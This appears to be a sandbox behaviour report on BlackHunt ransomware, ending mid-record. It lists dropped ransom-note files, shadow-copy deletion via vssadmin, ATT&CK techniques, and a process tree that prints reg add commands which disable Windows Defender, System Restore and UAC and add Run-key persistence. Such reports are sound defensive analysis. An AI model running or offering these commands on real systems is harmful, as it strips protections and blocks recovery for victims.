File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-api-progress.jar	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Africa\Abidjan	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File created	C:\Program Files\VideoLAN\VLC\locale\et\LC_MESSAGES\#BlackHunt_ReadMe.txt	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\as_IN\LC_MESSAGES\vlc.mo	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\#BlackHunt_ReadMe.txt	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cy\LC_MESSAGES\#BlackHunt_ReadMe.hta	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\sunjce_provider.jar	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\Rothera	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Riyadh	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\#BlackHunt_Private.key	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-queries.xml	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-jvm.xml	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened for modification	C:\Program Files\Java\jre7\lib\fontconfig.properties.src	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hy\#BlackHunt_Private.key	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sk.txt	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-options.jar	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\amd64\#BlackHunt_ReadMe.txt	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\META-INF\#BlackHunt_Private.key	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_ja_4.4.0.v20140623020002\feature.xml	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroForm.api	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\title_trans_scene.wmv	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\cmm\LINEAR_RGB.pf	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File created	C:\Program Files\Java\jre7\lib\zi\America\#BlackHunt_ReadMe.hta	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-api-progress.xml	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File created	C:\Program Files\VideoLAN\VLC\locale\uz\#BlackHunt_Private.key	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\#BlackHunt_ReadMe.txt	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.flightrecorder.configuration_5.5.0.165303.jar	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Yakutat	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\SPPlugins\#BlackHunt_ReadMe.txt	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\META-INF\#BlackHunt_ReadMe.hta	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Rome	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\audio_output\#BlackHunt_ReadMe.txt	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File created	C:\Program Files (x86)\Reference Assemblies\#BlackHunt_Private.key	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened for modification	C:\Program Files\7-Zip\descript.ion	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File created	C:\Program Files\VideoLAN\VLC\locale\#BlackHunt_ReadMe.txt	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File created	C:\Program Files\VideoLAN\VLC\locale\tl\LC_MESSAGES\#BlackHunt_ReadMe.hta	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Multimedia\#BlackHunt_Private.key	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\203x8subpicture.png	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\NavigationUp_ButtonGraphic.png	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Qyzylorda	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
3036	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
660	vssadmin.exe
2680	vssadmin.exe
3004	vssadmin.exe
3452	vssadmin.exe
408	vssadmin.exe
1160	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
3272	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3036	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
4000	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
Token: SeRestorePrivilege	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
Token: SeBackupPrivilege	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
Token: SeTakeOwnershipPrivilege	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
Token: SeAuditPrivilege	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
Token: SeSecurityPrivilege	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
Token: SeIncBasePriorityPrivilege	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
Token: SeBackupPrivilege	1728	vssvc.exe
Token: SeRestorePrivilege	1728	vssvc.exe
Token: SeAuditPrivilege	1728	vssvc.exe
Token: SeBackupPrivilege	2608	wbengine.exe
Token: SeRestorePrivilege	2608	wbengine.exe
Token: SeSecurityPrivilege	2608	wbengine.exe
Token: SeSecurityPrivilege	3416	wevtutil.exe
Token: SeBackupPrivilege	3416	wevtutil.exe
Token: SeSecurityPrivilege	3408	wevtutil.exe
Token: SeBackupPrivilege	3408	wevtutil.exe
Token: SeSecurityPrivilege	3640	wevtutil.exe
Token: SeBackupPrivilege	3640	wevtutil.exe
Token: SeSecurityPrivilege	3856	wevtutil.exe
Token: SeBackupPrivilege	3856	wevtutil.exe
Token: SeSecurityPrivilege	1880	wevtutil.exe
Token: SeBackupPrivilege	1880	wevtutil.exe
Token: SeDebugPrivilege	3272	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2752 wrote to memory of 3008	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	29
PID 2752 wrote to memory of 3008	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	29
PID 2752 wrote to memory of 3008	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	29
PID 2752 wrote to memory of 3008	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	29
PID 2752 wrote to memory of 3040	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	148
PID 2752 wrote to memory of 3040	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	148
PID 2752 wrote to memory of 3040	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	148
PID 2752 wrote to memory of 3040	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	148
PID 2752 wrote to memory of 2116	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	150
PID 2752 wrote to memory of 2116	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	150
PID 2752 wrote to memory of 2116	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	150
PID 2752 wrote to memory of 2116	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	150
PID 3008 wrote to memory of 2160	3008	cmd.exe	35
PID 3008 wrote to memory of 2160	3008	cmd.exe	35
PID 3008 wrote to memory of 2160	3008	cmd.exe	35
PID 2752 wrote to memory of 2256	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	37
PID 2752 wrote to memory of 2256	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	37
PID 2752 wrote to memory of 2256	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	37
PID 2752 wrote to memory of 2256	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	37
PID 2752 wrote to memory of 2280	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	39
PID 2752 wrote to memory of 2280	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	39
PID 2752 wrote to memory of 2280	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	39
PID 2752 wrote to memory of 2280	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	39
PID 3040 wrote to memory of 2596	3040	bcdedit.exe	40
PID 3040 wrote to memory of 2596	3040	bcdedit.exe	40
PID 3040 wrote to memory of 2596	3040	bcdedit.exe	40
PID 2752 wrote to memory of 2616	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	49
PID 2752 wrote to memory of 2616	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	49
PID 2752 wrote to memory of 2616	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	49
PID 2752 wrote to memory of 2616	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	49
PID 2752 wrote to memory of 2704	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	48
PID 2752 wrote to memory of 2704	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	48
PID 2752 wrote to memory of 2704	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	48
PID 2752 wrote to memory of 2704	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	48
PID 2116 wrote to memory of 2716	2116	svchost.exe	43
PID 2116 wrote to memory of 2716	2116	svchost.exe	43
PID 2116 wrote to memory of 2716	2116	svchost.exe	43
PID 2752 wrote to memory of 2740	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	41
PID 2752 wrote to memory of 2740	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	41
PID 2752 wrote to memory of 2740	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	41
PID 2752 wrote to memory of 2740	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	41
PID 2752 wrote to memory of 2620	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	42
PID 2752 wrote to memory of 2620	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	42
PID 2752 wrote to memory of 2620	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	42
PID 2752 wrote to memory of 2620	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	42
PID 2752 wrote to memory of 2680	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	143
PID 2752 wrote to memory of 2680	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	143
PID 2752 wrote to memory of 2680	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	143
PID 2752 wrote to memory of 2680	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	143
PID 2256 wrote to memory of 2472	2256	cmd.exe	54
PID 2256 wrote to memory of 2472	2256	cmd.exe	54
PID 2256 wrote to memory of 2472	2256	cmd.exe	54
PID 2752 wrote to memory of 3028	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	51
PID 2752 wrote to memory of 3028	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	51
PID 2752 wrote to memory of 3028	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	51
PID 2752 wrote to memory of 3028	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	51
PID 2752 wrote to memory of 2492	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	53
PID 2752 wrote to memory of 2492	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	53
PID 2752 wrote to memory of 2492	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	53
PID 2752 wrote to memory of 2492	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	53
PID 2752 wrote to memory of 2776	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	57
PID 2752 wrote to memory of 2776	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	57
PID 2752 wrote to memory of 2776	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	57
PID 2752 wrote to memory of 2776	2752	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe	57

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
"C:\Users\Admin\AppData\Local\Temp\bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3008
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2160
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:3040
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  PID:2116
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2256
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2280
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2740
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2620
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2680
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:1324
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2704
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2616
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2456
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:3028
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:1228
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2492
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2640
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2776
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2460
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2544
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2796
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:1448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1608
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2672
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1900
- - C:\Windows\system32\reg.exe
